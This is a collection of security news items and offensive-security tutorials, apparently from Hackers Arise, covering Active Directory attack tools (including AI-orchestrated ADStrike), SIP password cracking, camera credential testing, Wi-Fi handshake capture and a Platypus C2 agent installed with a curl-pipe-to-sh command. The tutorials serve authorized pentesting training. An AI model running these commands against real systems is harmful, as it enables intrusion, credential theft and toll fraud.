This summit is laser-focused on the next generation of Zero Trust and Identity security, moving beyond theory to deliver actionable strategies.
The post Watch Now: Zero Trust Strategies Summit – All Sessions Available on Demand appeared first on SecurityWeek.
Welcome back, aspiring cyberwarriors!
Our article on ADScan and ADPulse was popular. Those tools didn’t need the AI to work, they were basically using python libraries to do all the heavy work of analyzing the Active Directory setup. Today we will look at ADStike, which is somewhat similar but uses AI to arrange the attacks. AI here is completely optional. It analyzes the results of each step and decides what tool to run and what information to find. Models that support tool calls can be used for it, like Qwen 2.5-coder 7b.
ADStike has all the common AD attacks and different levels of OPSEC modes with 52 attack modules integrated. We will look at the workflow it has and use a local AI model to direct the pentest.
The repository has the installation process laid out. Let’s use it.
Loginkali > git clone https://github.com/capture0x/AdStrike.git && cd AdStrike && chmod +x install.sh run.sh && bash install.sh && source venv/bin/activate && bash run.sh
Usually it takes 5 minutes to set things up. Then you will be prompted to fill out the information about the domain. We are using our lab here with a regular account that doesn’t have any privileges in the domain to make it fair.
When it has all the needed information, it will be saved in a config file. You will then see the main menu with options. Each phase has separate steps that can run individually.
We will go with step 53, which is AI. The tool already knows what local Ollama models we have installed and lets us choose if there are some. For this test we kept OPSEC level default.
Once you select the needed options, the scan will begin.
The AI orchestrator will start from the first phase (Recon) and select only the appropriate phases and steps for your Active Directory setsups. All environments are different, some attacks will simply be impossible due to infrastructure limitations.
As it progresses we start seeing the output on the screen from the commands it runs.
Basically, it does all you would do but quicker. Below you can see that LAPS were empty, because they were not set up in this domain. You might want to recommend your client fix it, if you encounter the same results. LAPS help a lot in preventing lateral movement, since the Administrator password will never be the same across your machines.
Then Kerberoasting follows. We did have a few roastable accounts. The compromise here will depend on your wordlist.
Since it’s our lab, we knew the password of that user.
Another attack you may see is Timeroasting. Here it uses an impacket script to extract computer hashes. While those are basically impossible to brute force, some computers are vulnerable to Pre2k attack, where the password of the computer matches the DNS name.
Here is more on Pre2k. Look at the NetExec commands. It’s passing the computer name and the password to the DC to find a valid account. These machines can have certain privileges, just like users do. All the privileges can be found in BloodHound. By the way, ADStrike will run SharpHound collection and analyze the data with AI to find paths and worthy accounts.
Finally, after all the necessary steps, you will have a nice report generated in different formats.
Let’s open the HTML version and see what it looks like.
Scrolling down we see the MITRE ATT&CK Coverage
Then we have all the findings and their details.
ADStrike looks very promising and easy to work with. It has 52 attack modules that are orchestrated with AI. AI here is completely optional and things should work without it as well. If you prefer not to let AI execute anything in your environment, you can use it for planning only or leave it alone to pwn your lab.
Join our AI for Cybersecurity training to learn more! During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have.
The post Artificial Intelligence (AI) in Cybersecurity, Part 28: Using ADStrike to Compromise Active Directory first appeared on Hackers Arise.
Hackers hijacked the .gh, .sl, and .as ccTLDs and obtained HTTPS certificates for several Google domains.
The post Google Domains Impacted by Recent ccTLD Hijacks appeared first on SecurityWeek.
Welcome back, aspiring cyberwarriors!
Some of you have already seen the headlines about malware calling out to AI APIs. Recently, Talos found a Windows implant called CLOSEDQUORUM that leaves its tactical command and control decisions to a panel of commercial LLMs while the operator sleeps. Malware like that doesn’t leave the traces we’re used to hunting. Now you find prompt templates, provider endpoints, API key prefixes, jailbreak wording and sometimes text written to talk an AI sandbox out of flagging the file. Talos calls these cognitive artifacts and developers who wire an LLM into their tooling leave some behind.
Cisco Talos built a free research tool called CAIRN. The name is a metaphor. A cairn is a pile of stones hikers leave on a trail so the next person can see where to go. CAIRN looks for the same kind of marker inside malware that talks to AI. It works from metadata, which means you never download the sample and you never run it. Keep in mind, it needs a VirusTotal API. It sorts what it finds into three tiers, from a simple AI string match, to behavior and families. It also clusters samples that look alike even when they don’t share an obvious string.
CAIRN is a research tool and not a live threat feed. It shows us where hackers are heading.
Let’s set it up and cover some basic commands.
We start by copying the repository and installing the python libraries.
kali > git clone https://github.com/Cisco-Talos/Cognitive-Artifact-Intelligence-Research-Network.git
kali > cd Cognitive-Artifact-Intelligence-Research-Network
kali > python -m venv .venv
kali > source .venv/bin/activate
kali > pip install -e ".[dev]"
The env file needs VirusTotal API.
kali > cp .env.example .env
kali > nano .env
Once it’s there, you can start with some basic commands.
The first thing we do is open the YARA file that ships with CAIRN and check that it is readable and put together the way the tool expects. If it prints a rule count and says the pack is valid, the rulers are loaded. You run it after install or after you edit a rule, so you know the next hunt will not fail because the rule file is broken.
kali > cairn validate-rules
Next we print the list of saved VirusTotal searches that come with CAIRN. We will use these names in the following command. The command only reads a config file on disk.
kali > cairn filters
Each name on that list is a hunt idea you can use, like Python files that mention an LLM library, or files that mention a hosted API.
kali > cairn pull --filter python-ai-scripts --limit 10Next, you can summarize the findings. It reads only your database and tells you how many files you got and what rules were in use.
kali > cairn summarizeWe can then open the map.
kali > cairn explore
Here is how the clusters look like. Samples are grouped into clusters even when they share no obvious string overlap. These are semantic discoveries that analyze the meaning.
Let’s take a look at the new developments in malware that were published by Cisco Talos. Their team was analyzing CLOSEDQUORUM.
They say it’s the first publicly documented Windows implant to apply this model to tactical command and control (C2). After it’s deployed, it uses AI models to decide what to do next and then executes their collective decision to harvest user credentials and crypto wallets. It doesn’t need a human to be ruling over the process, as the AI does everything.
Traditional C2 architecture needs the hackers to have server infrastructure. That infrastructure is attributable and blockable. Instead of this, CLOSEDQUORUM calls up to four commercial LLM provider endpoints used by thousands of legitimate applications daily.
Here is how it looks decompiled.
You see the providers, models and prompts.
Hackers also may give detailed technical prompt templates. Here TARGET: %s is substituted at runtime.
The response is then deserialized into a Go struct.
Structure of the returned model’s decision.
Malware that calls out to AI is already here. There’s no server to attribute or block, since the traffic goes to provider endpoints that legitimate apps hit all day. Now we also hunt for cognitive artifacts like prompt templates, provider endpoints, API key prefixes and jailbreak wording. CAIRN helps with that by working from VirusTotal metadata, so you never download or run the sample. It groups findings by AI strings, behavior and families and clusters similar samples by meaning. It shows us where hackers are heading, and they’re heading toward AI doing the thinking for them.
If you like Malware Analysis and want to improve your skills in this field, sign up for our Reverse Engineering Malware training.
The post Malware Analysis: Analyzing AI-Backed Malware with CAIRN first appeared on Hackers Arise.
Welcome back, pentesters!
Most of you are used to working with tools on your Linux machine. A lot of these tools are built for it. WSL exists, but some of them can also run right inside your Chrome browser. NXC, SharpHound, LDAP-shell, Evil-WinRM and five more are bundled into one signed IWA with multi-protocol support.
Before we go any further, don’t use these tools against systems you’re not authorized to test, and don’t use your daily Chrome browser for this either.
Let’s take a closer look at the bundle and see how it works.
We’ll follow the manual on the website. The setup is quick and just needs a few adjustments to Chrome. The first step is enabling Chrome flags. Paste each of these links and change the status.
Then relaunch Chrome and open web-dev. Recent Chrome updates moved this from web-app-internals.
Here we install a new tool. Paste this link:
https://iwa-tools.pkilla.pw/iwa/update.jsonChrome will fetch the version. Press Install. In apps, you’ll see the iwa-tools console appear. That’s what you need to open.
The first thing to do is list the help menu, which has all the commands you can run. Each command has its own help menu with the syntax.
iwa > help
iwa > command -h Let’s do a quick port scan and find out what’s open on our Windows machine in the lab.
iwa > portscan IP 88,389,445,5985,9389 --timeout 2000If Kerberos and LDAP are open, that means this host is a domain controller. We also have WinRM open. It may give us remote access on the DC with a valid admin account.
iwa > evil-winrm -H IP -u user -p passwordLet’s list the DNS zones that our domain has available.
iwa > adidns -H IP -u user -d domain -p password --auth kerberos --tls --listFinally, let’s see if we can escalate our privileges with ADCS. Certipy is used here.
iwa > certipy find -H IP -u user -d domain -p password --tls -enabled If you get the same results showing ESC1 is vulnerable, that’s a quick win. There are plenty of write-ups out there on abusing it to get domain admin privileges in the tested domain.
Creativity has always been one of the most important skills for hackers. Turns out our favorite tools can run inside a browser and reach systems locally. You might still prefer the classic way, which is totally fine, but it’s good to know they work just as well from a browser tab.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Living off The Browser: Running Popular Hacking Tools Inside Chrome first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors!
One of the challenges during a pentest is keeping everything organized. A small assessment with just a few machines is usually easy to manage, but enterprise environments are a completely different story. You can easily end up working with dozens or even hundreds of Linux and Windows systems, each with different services, users, applications, and configurations.
As pentesters, we often spend a lot of time performing security checks and audits, looking for configs, finding credentials, cloud access tokens and more. All that information is spread across many different hosts and it’s easy to lose track of what’s already been checked and what still needs to be looked at. Managing dozens of SSH sessions or reverse shells gets frustrating fast.
You can use Platypus to solve this issue. It’s a centralized host management platform that makes it a lot easier to work with multiple systems from a single interface.
Let’s see how it works.
Platypus is an open source host management platform built to help you manage large numbers of Linux, Windows and macOS machines from a web interface. The platform works by starting an agent on every machine you want to manage. Once started, the agent connects back to your Platypus server using encrypted TLS communications and Protocol Buffers (protobuf).
From the web interface you can launch interactive shells, look at the file system, upload and download files, run security audits and much more. You can install Platypus on a VPS and manage machines over the internet or host it entirely inside a local network
The easiest way to install Platypus is with Docker.
kali > git clone https://github.com/WangYihang/Platypus.git
kali > cd PlatypusBefore starting the containers, there’s one important configuration change to make.
Open docker-compose.yml with a text editor. By default it has localhost. Since our agents will be connecting from other hosts, replace localhost with the IP address of the machine running Platypus. If you’re deploying on a VPS, replace it with the public IP instead.
That’s the only configuration change needed for a basic installation. Once you’ve saved the file, launch the platform.
kali > docker-compose up -dAfter everything finishes, the web interface is available. We had ours on https://192.168.131.7:9443. That’s the same address you should include in the set up process when you access it on the web.
During the initial setup, Platypus will also ask you to create the first administrator account. To prevent unauthorized access, you’ll need to provide the Bootstrap Secret generated during installation
kali > docker cp platypus-platypus-server-1:/app/data/bootstrap.secret .
kali > cat bootstrap.secretCopy and paste it.
Each pentest can have its own project. You can also organize by department or environment, prod and dev for example.
Open the project and scroll down to the Open Hosts section. This is where all enrolled machines will appear. The next step is generating an agent to deploy onto your target systems.
The platform supports Linux, Windows and macOS
When you create an agent, you can choose what to include based on your needs. We selected the Full package, since it has the largest collection of features and plugins.
Once you’ve configured the agent, Platypus generates a unique installation link you can run on the target machine.
Keep in mind that it doesn’t permanently install itself like traditional management software. The agent runs as a process after being launched. By default, every installation URL contains a unique enrollment token valid for a single installation, which helps prevent unauthorized reuse if the link gets out.
To launch the agent on the target machine, use Tmux so the process keeps running even if your SSH session drops.
ubuntu > curl -fsSL --tlsv1.2 -k https://192.168.131.7:9443/api/v1/install/dl_7dm5amwjjirrqv35biem.ib3sxs64fug543w32oxe?download_tls=insecure | sh > /dev/nullAfter a few moments, assuming the machine can reach your Platypus server, the new host will show up in the dashboard with basic system information.
One of the first features you’ll use is the interactive shell. Since we went with the Full package, shell was included by default.
Another useful feature is the file browser.
Then we have auditing. Platypus scans the file system looking for valuable configs and sensitive information. All systems are different, but that can include database credentials, API keys, SSH keys, cloud configs and more.
The platform also includes various security checks. These aren’t meant to replace a full security assessment, but they come in handy.
Plugins collect information about firewall rules, journald logs, scheduled cron jobs, active network connections and many other parts of the OS.
Managing large numbers of machines during a pentest can quickly become overwhelming. Valuable information ends up scattered across multiple hosts, so it takes time to track your findings. Platypus keeps all your systems together and cuts down on a lot of the repetitive work in post exploitation.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Pentesting: Managing Compromised Machines with Platypus first appeared on Hackers Arise.
Fifteen years after coining the framework, John Kindervag insists zero trust still works in the AI era—if you get the implementation right.
The post Zero Trust Creator Says Model Holds Firm Against AI-Assisted Attacks appeared first on SecurityWeek.
Welcome back, aspiring cyberwarriors!
If you’ve worked in an office, you’ve seen those phones on every desk. Some are wireless with a station, others look like regular landline phones. SIP is the language office phones use to sign in and start a call over the network. A phone call over the internet has two parts. First the two sides have to find each other and agree to talk, then the actual voice moves. SIP only handles the first part. The voices themselves travel on a separate path. That’s how most VoIP systems set up calls.
That’s why a stolen SIP password can be an issue. They are stealing the system’s belief that they are that desk phone. Once the handshake accepts them as an extension, say 1000, the phone system treats their laptop like that employee’s handset. They can place calls as other people and in many setups receive their incoming calls too.
Today we’re going to use SIPVicious against SIP and show you how it can be compromised.
Asterisk is a program that understands SIP and runs the office switchboard. It decides who can sign in, what numbers exist, and who can call whom. It’s one of the most popular programs for SIP.
We set it up in our lab with Docker.
Next thing we need to have installed is SIPVicious. The installation is pretty simple.
ubuntu > python3 -m venv sipvicious
ubuntu > source sipvicious/bin/activate
ubuntu > pip3 install sipviciousThe tool comes with 5 different commands: svmap, svwar, svcrack, svreport, svcrash.
Each of these commands has a help menu
ubuntu > sipvicious_svmap -hWe’ll use the first three commands for our test. The rest aren’t really important.
Using svmap we can find out what service the target is running.
ubuntu > sipvicious_svmap 127.0.0.1Sometimes the results vary depending on whether you provide the extension. The extension is the phone’s account number.
ubuntu > sipvicious_svmap 127.0.0.1 -e 1000You can look up the version and check whether it’s vulnerable to known exploits
Extensions are account numbers. They usually start at 1000. Old software will allow enumeration, but modern software ignores your requests, so you won’t be able to find out which accounts exist.
Still, it’s worth trying.
ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010You can also try –force and see what comes back. You’ll most likely see 401 Unauthorized, but that can vary depending on the software you’re testing.
ubuntu > sipvicious_svwar 127.0.0.1 -e 1000-1010 --forceEven if we can look up extensions, we’ll start by trying common ones with our own credentials list. Let’s create a wordlist first.
# creating the list of credentials
ubuntu > printf ‘%s\n’ 1000 1001 admin password asterisk mrsip-lab > sip-pass.txt
ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 -d sip-pass.txtmr-siplab was indeed our password for three of those accounts. This let’s take a look at two other ways of getting credentials without a wordlist.
One option is to test the passwords the tool ships with. The default password set is a numeric range from 100 to 999
ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000You can also try the –enabledefaults flag. It adds common passwords, including the extension number itself.
ubuntu > sipvicious_svcrack 127.0.0.1 -u 1000 --enabledefaulsThis didn’t work in our case, because the password was not predictable.
We did have three contacts in our Asterisk setup though, and the tool successfully compromised all of them.
One of the biggest risks is toll fraud. Hackers can use compromised extension credentials to register to the system and place expensive international calls. That’s still the most common attack. Hackers can use compromised accounts to run vishing campaigns against other companies. If hackers are already inside and have the phonebook, they can convince employees and support teams to reset passwords, for example.
Modern software blocks enumeration of existing users, but it’s still possible given how much outdated software is out there. SIPVicious can identify the software in use and test common extensions for weak passwords. There are a few password attacks it can run with or without a wordlist. Sometimes knowing the version alone is enough to compromise a server and get into the network. Don’t overlook yours and regularly upgrade things.
The post Offensive Security: Pentesting Office Phones with SIPVicious first appeared on Hackers Arise.
Welcome back, cyberwarriors!
A few weeks ago we published PwnEye, which is a great tool for camera hacking. We talked about the importance of keeping your IoT devices patched to prevent unauthorized access. A less hardened device is a lot more appealing to a hacker, especially when it sits on the same network as other infrastructure.
Cheap devices aren’t really built with security in mind and some of them come with backdoors that sooner or later get discovered and abused by anyone who finds them online.
Today let’s look at a tool that can identify cameras, test credentials and help you harden them.
Eyesharvester is a recon tool for IP cameras, DVRs and NVRs. You give it an IP range, it scans common ports, fingerprints the vendor and optionally tries default credentials. It can also show known CVEs associated with a brand and give you basic hardening advice. The tool is mainly for identification and reporting.
Let’s quickly download the repository and install the tool. No dependencies needed to get started.
kali > git clone https://github.com/Exhunterx/eyesharvester.git
kali > cd eyesharvester
kali > bash install.shThe help menu covers everything the tool can do.
kali > eyesharvester --helpNow let’s look at the ways you can use it.
You don’t always get the camera IP ranges from admins, so recon comes first. We need to figure out which IPs belong to cameras.
kali > eyesharvester IP/24A few cameras were found. Now let’s pipe all those IPs to a text file. The flag below will silence the noise.
kali > eyesharvester IP/24 -q > cameras.txt
kali > cat cameras.txtYou can keep these IPs for future tests, say with PwnEye for example. Or maybe you want to update the spreadsheet of your surveillance infrastructure, as admins often do, though there are better ways to keep a record of everything.
We can also run confirmation checks to make sure these are actually cameras.
kali > eyesharvester IP/24 -c confirmed -vThere’s a confirmed Hikvision camera above. We’ll test it and the rest of those we found for default credentials.
kali > eyesharvester IP/24 --check-credsFinding a camera with default credentials internally is very common.
Testing cameras is fun, but hardening them is a bigger question that needs to be addressed. Both pentesters and defenders should know how to do it and your report should include recommendations on how to harden these devices.
kali > eyesharvester IP --hardenBased on the vendor and open ports, a hardening checklist is generated along with the CVEs that affect your device. This mainly covers segmenting devices away from business and IT networks, disabling unused services, replacing weak credentials and updating firmware.
It’s very common to find Hikvision cameras vulnerable to CVE-2021-36260. The exploit can give you a shell on the device and lets you run commands.
We tested the same device and it was vulnerable with no patch applied.
This vulnerability is particularly interesting because you can generate a payload with Metasploit for this camera and connect it back to your C2. Then using a Meterpreter proxy or reverse SSH tunnel that camera becomes a proxy for attacking other reachable hosts on the network.
Testing cameras is definitely fun and PwnEye can help a lot here, but securing them can be part of your job too. Knowing how to both break and fix these devices gives you a better understanding of cybersecurity overall. That’s why you need Eyesharvester.
There are many other attacks on cameras, and it would be a very long article to cover them here. That’s why we created our IP Camera Hacking Training. It’s now part of our Cybersecurity Starter Bundle II. With it you get Wi-Fi Hacking, Python Basics for Hackers, Remaining Anonymous and more.
The post Camera Hacking: Testing Cameras with Eyesharvester first appeared on Hackers Arise.
New research from Forescout Vedere Labs has found that critical operational and medical devices are frequently sharing network segments with IT and IoT assets, potentially giving attackers more opportunities to move laterally following an initial compromise.
The cybersecurity research team analysed 47,700 real-world network segments containing more than 2.5 million devices across 209 organisations. Devices were divided into four categories, IT, operational technology (OT), IoT and Internet of Medical Things (IoMT), as well as 327 individual device functions.
While 62% of the segments analysed contained devices from a single category, the picture changed significantly when researchers looked specifically at specialist OT and medical equipment.
Just 13% of segments containing OT devices were OT-only, falling to only 6% for segments containing IoMT equipment. In almost half of both types of segment, specialist devices were operating alongside IT and IoT assets. Network segmentation is intended to restrict unnecessary communication between systems and limit an attacker’s ability to move through an organisation following a compromise. Mixing different device types can create unintended pathways between assets that would ideally be isolated.
Forescout’s analysis also looked at the potential “blast radius” created by individual network segments and found that the average segment contained 54 devices across four different device functions. Forescout said this means that, in a typical segment, compromising one device could potentially put another 53 devices in the same segment at risk.
Around 17% of those analysed were micro-segments containing a single device, while 72% contained between two and 50 devices. A further 11% contained more than 51. Business and professional services, healthcare and oil and gas recorded the largest average blast radii.
Researchers also found that half of the device functions most commonly appearing in mixed segments featured in Forescout’s list of the riskiest connected devices of 2026. These included IP cameras, programmable logic controllers, building automation controllers, patient monitors and infusion pumps.
IP cameras provide a particularly striking example of the problem. Researchers identified 2,266 segments containing IP cameras, representing almost 5% of all segments analysed. However, only 51, or 2%, contained IP cameras alone. Instead, 60% of those segments also contained workstations, 47% contained printers and 37% contained servers. According to Forescout, this means that in more than half of cases where an attacker compromises an IP camera, an IT workstation or server is present within the same segment.
The research points to similar concerns in retail environments. Of 478 segments containing point-of-sale systems, just 20% were exclusive to PoS devices. Printers appeared alongside PoS systems in 46% of cases, VoIP devices in 36% and IP cameras in 30%.
Forescout said organisations do not necessarily need to redesign their networks completely to address the problem.
Instead, security teams should identify segments where different device categories converge, particularly combinations of IT with OT, medical or IoT assets. Critical operational systems should be separated from general-purpose IT wherever possible, while oversized segments can be broken into smaller environments to limit lateral movement.
The researchers also recommend policy-based access controls between segments and continuous monitoring for “segmentation drift”, where changes to devices and business requirements gradually result in previously isolated environments becoming interconnected. The findings underline that simply dividing a network into segments does not necessarily provide effective isolation. The security value comes from creating meaningful boundaries between systems so that compromising one device does not provide an easy route to the rest of the organisation.
Read the full research blog here: https://www.forescout.com/blog/what-47700-segments-reveal-about-network-segmentation/
The post Only 13% of OT Network Segments Keep Operational Technology Isolated appeared first on IT Security Guru.
Welcome back, aspiring cyberwarriors!
Many beginners want to know how they can hack their Wi-Fi. It’s fun, it’s easy to get started with and those small wins make the early part of your cybersecurity journey exciting. Testing Wi-Fi security is also an important part of a pentest, since many organizations keep old routers in place with weak security settings. As years go by, those settings get more and more obsolete, like WEP. Some features routers have enabled by default might be convenient, but are often unnecessary. That’s WPS, as you might know. It gets abused regularly to recover a plaintext password and sometimes you can get it in under a minute just because WPS was left on.
If hackers get onto the network, they can start exploring everything on it or just use your Wi-Fi for their own purposes. You don’t want that. That’s why you need to make sure it’s secure.
Today we’ll cover Wifit3, which can help you with this.
The tool was developed by the same author who created Wifite2.
Unlike its predecessor, it doesn’t need aircrack-ng, reaver or bully installed. Instead, it uses pure Python with the PyUSB and Textual libraries. Wifit3 works just as well on Linux, macOS and Windows. You’ll only need a USB dongle to work with it. The repository mentions all the supported devices.
It scans both 2.4 GHz and 5 GHz, can tell when a network is WPA3 or in mixed WPA2/WPA3 mode and keeps track of signal and encryption. It also tries to identify the router and pull extra details about it. Hidden network names sometimes get revealed by matching them to a known router address. If you plug in more than one supported Wi‑Fi adapter, you can listen on several at once and leave one free to send packets.
It shows beacons, data, injection and disconnect traffic so you can see what’s in the air while you work.
The tool can listen to Wi‑Fi traffic and send disconnect messages. Those messages kick phones off the network. When a phone joins again, it talks to the router to prove it knows the password. The tool records that conversation. The password is in there, but scrambled, so you can crack it later with hashcat.
Here’s how it looks. Above you can see it capturing handshakes with passwords after disconnecting a client. The tool also managed to capture a PMKID. PMKID is a short hash the router can send that’s tied to the Wi-Fi password. If you capture that hash, you can try passwords against it later on your own machine. You don’t need to kick anyone off the network or capture a full login handshake.
There’s also an Evil Twin mode for WPA3. It tricks phones into leaving the real Wi‑Fi and joining a fake one so the tool can steal a handshake. For WPS it can try the fast Pixie Dust attack, grab the password when someone presses the router’s WPS button and keep guessing the WPS PIN while pausing if the router starts locking out attempts.
That’s how the WPS attack looks. The tool sends an enrollee identity with a public key and gets the router credentials decrypted. The password is then saved to a text file.
WEP is attacked in Python with the usual replay tricks to recover the key.
Now let’s set it up on our machine. As always, we’re going to use Kali, but you can use anything you want.
kali > wget https://github.com/derv82/wifit3/releases/download/v0.3.2/wifit3-linux-x64 -q
kali > chmod 777 wifit3-linux-x64
kali > mv wifit3-linux-x64 wifit3
kali > sudo cp wifit3 /usr/local/binWe’re all set. Plug in your USB dongle and start the tool.
kali > wifit3After choosing the right, you can start testing your Wi-Fi. Use it only on your own Wi-Fi or the one you’re authorized to test.
There are so many vulnerable Wi-Fi networks you’ll come across during pentests. They’re often the quickest way into a network, which is why their security shouldn’t be overlooked. Wifit3 is a new tool that came out relatively recently. It’s easy to work with and can help you cover all the common wireless attacks.
If you’re interested in Wi-Fi security, our Wi-Fi Hacking training can help you gain the necessary experience.
The post Wi-Fi Hacking: Testing Routers with Wifit3 first appeared on Hackers Arise.
NYU Tandon School of Engineeringannounced today that it has launched the NYU Software Supply Chain Security Operations Center (NSOC), a new initiative in the NYU Center for Cybersecurity (CCS) whose centerpiece is a one-year program that embeds Tandon master’s students directly in the open-so
Welcome back, pentesters!
During a pentest, you often end up repeating the same things. You usually start with the same set of checks. You want to know if SMB shares are exposed, whether you can reach LDAP on the DC and find out how strong the password policies are. You also want to find misconfigured privileged accounts, roastable accounts and go through ADCS for potential escalation paths. These are the checks that always come up in Active Directory pentests.
Because of that, a lot of pentesters end up writing their own scripts and use tools that reduce the repetitive work. Today we’ll look at two tools that help here. It’s ADScan and ADPulse. ADScan is built for active enumeration and attack, while ADPulse is for read only auditing and reporting.
We’ll start with ADScan. It automates Active Directory pentesting and does enumeration across DNS, LDAP, SMB and Kerberos, collecting data that can be fed into BloodHound for analysis. Later you’ll see you don’t even have to use BloodHound to process that data, since ADScan uses Python libraries to parse the JSON files and give you the output itself. You can act on findings right away, with Kerberoasting, AS-REP roasting, DCSync or just password spraying.
Sometimes you might start with no credentials at all or you might be handed a low-privileged account. ADScan works well in both cases.
The installation process requires some patience. Before starting, you need to have Docker installed on your Kali.
kali > sudo apt install docker.io
kali > sudo apt install docker-compose
kali > sudo service docker start
kali > sudo systemctl enable dockerOnce Docker is ready, you can install ADScan.
kali > pipx install adscan
kali > adscan installA stable internet connection is important here.
After installation completes, you will receive credentials for BloodHound. At this point, everything is ready and you can start the tool.
kali > adscan startInside the interface, you can see a help menu that keeps commands in logical sections.
Each section has its own subcommands.
As mentioned earlier, you can work with or without a domain user account. We’ll give it the credentials anyway.
start_authAfter running this command, give it the credentials and some details about the domain that you know.
From here, ADScan will run a few automated checks. It pulls in BloodHound data, looks for Kerberoastable and AS-REP roastable accounts and tries to find potential escalation paths in Active Directory Certificate Services.
In our case, the tool found that our lowpriv user has GenericAll permissions over sensitive groups. This comes from SDProp manipulation, where permissions are assigned in ways that aren’t easy to find using standard administrative tools (RSAT).
When enumeration’s done, ADScan gives you two different attack path engines. The first works with BloodHound, organizing findings into attack paths. This includes password spraying, Kerberos attacks, NTLM hash capture and other steps that gradually build toward higher levels of access.
The second engine uses a local Python based search that finds permission abuse through DACL misconfigurations. In our example, it showed that the user can directly modify membership in Domain Admins.
As the process continues, ADScan may also check for known vulnerabilities affecting domain controllers. It’s not unusual to find older systems still in use, which can be vulnerable to Zerologon or NoPac.
ADScan does not replace understanding, but it significantly improves efficiency and consistency.
ADPulse takes a different angle. It’s built as a read only auditing tool that evaluates the overall security posture of an Active Directory environment. ADPulse connects to a domain controller over LDAP or LDAPS and runs a defined set of security checks. These checks look for common misconfigurations, weak policies, and potential attack paths. The results come out in several formats (CLI, JSON, and HTML).
Compared to ADScan, setting up ADPulse is straightforward.
kali > git clone https://github.com/yourorg/adpulse.git
kali > cd adpulse
kali > python -m venv venv
kali > source venv/bin/activate
kali > pip install -r requirements.txtOnce the environment is ready, you can start it.
kali > python ADPulse.py –domain sekvoya.local –user lowpriv –password 'P@ssw0rd123!'As it runs, ADPulse shows summaries right in the terminal, so you get a sense of what’s going on in the domain as it works. When the scan finishes, it generates both JSON and HTML reports. The HTML version looks good and lays out findings in a hierarchical structure with recommendations attached.
You can share these reports with sysadmins and defenders to help them understand what needs fixing and why it matters.
Active Directory pentesting starts with discovery and often moves toward exploitation, but it doesn’t always end with full domain compromise. Success isn’t measured by whether you get Domain Admin privileges, it’s measured by how well you identify and communicate the risks that could actually impact the organization. Sometimes the most critical findings are exposed data, weak configurations and small mistakes that could later get chained into bigger attacks.
If you’re interested in red teaming and want to build the skills required to be a pentester, we offer our Red Team Operator training program.
The post Offensive Security: Speeding up Active Directory Pentests with ADScan and ADPulse first appeared on Hackers Arise.
Welcome back, cyberwarriors!
Almost a year ago, OTW spoke about quantum computers and the risk of our encryption getting broken within three years. In March, Google shared its concern on the same issue, moving up its own post-quantum migration deadline to 2029. Some companies are migrating to mitigate that risk, but not many are taking it seriously. Eventually, a huge number of companies are going to get left behind with weak and breakable encryption. Hackers will only benefit from that negligence.
To help you minimize the risk and get an actionable plan with recommendations tailored to your company, we want to show you how AC-Scanner works.
AC-Scanner is basically a script for post-quantum cryptography exposure assessment. It maps your full cryptographic attack surface across TLS endpoints and SSH services, assesses every asset against NIST post-quantum standards and generates a structured Cryptographic Bill of Materials (CBOM).
Before we continue with the scan, you might want to watch a video by OTW and David Bombal on the risk of quantum computing being able to decrypt things at mass scale and expose session keys.
Docker is the easiest way to get started. We’ll start with the CLI version first, then show you how to get the web version up and running. They both work the same way, so you can choose any.
First install Docker on your system:
ubuntu > sudo apt update
ubuntu > sudo apt install docker.ioThen switch to root and pull it:
root > docker pull qubitac/acscanner:latestNow it’s ready, so let’s see the help menu.
root > docker run --rm -it qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh -h'We’re only interested in the presets here. As you can see, you can test basically any of your assets.
Let’s choose some random Russian company for this scan. We don’t intend them to benefit from the results, we will just use it for demonstration to show how prevalent the issue is.
For our scan we used –all to scan everything:
root > mkdir -p ~/ac-scans/example.com && docker run --rm -it -v ~/ac-scans/example.com:/app/scripts/example.com qubitac/acscanner:latest bash -c 'rm -f /.dockerenv && cd /app/scripts && ./scan.sh --noinstall example.com --all'If you’re testing a big company, it will take time.
Results will be stored in ~/ac-scans
Here we only need crypto-bom.json that’s hiding in cbom.
Upload crypto-bom.json to the dashboard by clicking Load CBOM. You will see the overview.
You can already see the infrastructure is not PQC ready and has several critical issues.
The next step is HTTPS. Although 9 of their endpoints are using HTTPS, it’s vulnerable and the risks are high.
The scanner tried to fingerprint the SSH endpoints too, but they weren’t open.
Let’s look at the issues that the company has. It will show all the affected hosts with severity assigned to each.
Quantum risks may help tracking the progress of your migration. The results below are from a different company, but you can see they have only 3 PQC ready hosts out of 308.
Recommendations will help you address issues by giving you prioritized actions.
The recommendations were intentionally redacted by us to make them unusable. However, you can still clearly see how the page is structured.
Finally, your main goal is migration. Here it lists all the migration phases and gives you deadlines by which they need to be completed.
As you can see, legacy TLS should be abandoned by 2027 and hybrid PQC key exchange should be introduced no later than 2028. That applies to everyone, not just this organization in particular. The report gives clarity and orients your client so there’s no confusion.
If you don’t want to work in the terminal, you can use the web version.
root > docker pull qubitac/acscanner
root > docker run -d --name acscanner -p 8080:80 qubitac/acscanner:latest It’s available in the browser on http://localhost:8080/.
AC-Scanner is easy to work with if you use Docker, otherwise you’ll run into some incompatibility issues. The dashboard has all the valuable information and most importantly it’s actionable and orienting. You don’t just see the vulnerabilities, you get a guide with recommendations on how to fix them too. Your client will definitely appreciate that.
Want to learn how to prepare your network for the post-quantum world? Join our Preparing Your Network for the Post-Quantum World training, taking place October 13-15 at 3 PM UTC. Available exclusively to Subscriber PRO students.
The post Quantum Resistance: Scanning Company Assets for PQC Readiness first appeared on Hackers Arise.
Welcome back, aspiring cyberwarriors.
Some cameras protect a building, others betray it. Camera hacking isn’t hard, and that’s the problem. These devices are often the most vulnerable in any environment. Once installed, they aren’t maintained until there’s a problem. Many “problems” can go unnoticed if you know how vulnerable cameras are. Hackers can use them for persistence or as an entry point into an organization.
We do have different articles on this topic, but this time there’s something else we want to show. It’s PwnEye.
PwnEye is a newer tool that didn’t get enough attention yet. It works with both ONVIF and RTSP and that’s pretty much all you need. Once it has compromised a camera, it can reboot it, factory reset and open an interactive shell via ONVIF.
You also black out the operator’s view. Just like in movies.
Let’s set up the tool. You’ll need ffmpeg first.
